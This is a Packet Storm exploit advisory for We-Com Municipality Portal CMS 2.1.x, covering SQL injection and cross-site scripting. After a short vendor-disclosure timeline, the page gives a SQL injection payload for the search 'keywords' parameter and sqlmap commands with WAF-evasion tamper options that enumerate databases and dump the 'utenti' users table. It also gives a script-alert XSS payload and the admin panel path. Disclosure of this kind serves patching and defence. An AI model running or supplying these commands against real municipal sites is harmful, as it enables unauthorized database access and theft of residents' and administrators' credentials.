

We-Com Municipality Portal CMS 2.1.x Cross Site Scripting / SQL Injection

Authored by [thelastvv](#)

Posted Jun 1, 2020

We-Com Municipality Portal CMS version 2.1.x suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | [exploit](#), [remote](#), [vulnerability](#), [xss](#), [sql injection](#)

SHA-256 | [a064044ce2e55681ca97b669a47fa9de5d0ab2d078912b3da970309428b6ac64](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like [Twitter](#) [LinkedIn](#) [Reddit](#) [Digg](#) [StumbleUpon](#)

Change Mirror

[Download](#)

```
# Exploit Title: We-com Municipality portal CMS SQL Injection & XSS Vulnerability
# Google Dork:WA
# Date: 2020-04-17
# Exploit Author: @TheLastVv
# Vendor Homepage: https://www.we-com.it/
# Version: 2.1.x
# Tested on: 5.5.0-kali1-amd64
```

Vendor contact timeline:

```
2020-05-05: Contacting vendor through info@we-com.it
2020-05-26: A Patch is published in the versions
2020-06-01: Release of security advisory
```

PoC 1:

The attacker once locate the sql vulnerability in the "keywords" parameter of the portal search bar then the attacker will be able to perform an automated process to exploit the security of Italian Municipality portal CMS

Payload(s)

```
http://www.site.it/cerca/
POST Data: keywords='1'--
```

SQLMAP Payload(s):

```
sqlmap -u https://www.comune.site.it/cerca/ --data "keywords=" --identify-waf --random-agent -v 3 --
tamper="between,randomcase,space2comment" --dba
```

```
sqlmap -u https://www.comune.site.it/cerca/ --data "keywords=" --identify-waf --random-agent -v 3 --
tamper="between,randomcase,space2comment" -D **_db --tables
```

```
sqlmap -u https://www.comune.site.it/cerca/ --data "keywords=" --identify-waf --random-agent -v 3 --
tamper="between,randomcase,space2comment" --dump -D **_db -T utenti
```

PoC 2 :

XSS Vulnerability

Payload(s) :

```
http://www.site.com/cerca/
in the search bar:
**<script>alert(1)</script>
```

Admin panel:

[www.site.it/admin/](#)

[Login](#) or [Register](#) to add favorites

[Follow us on Twitter](#)

[Subscribe to an RSS Feed](#)

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11security 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	

File Upload (946)

Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

File Archives

Systems

- Spoof (2,166)

SQL Injection (16,102)

TCP (2,379)

Trojan (686)

UDP (876)

Virus (662)

Vulnerability (31,136)

Web (9,365)

Whitepaper (3,729)

x86 (946)

XSS (17,494)

Other
- SUSE (1,444)

Ubuntu (8,199)

UNIX (9,159)

UnixWare (185)

Windows (6,511)

Other



© 2022 Packet Storm. All rights reserved.

Site Links


- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory


About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed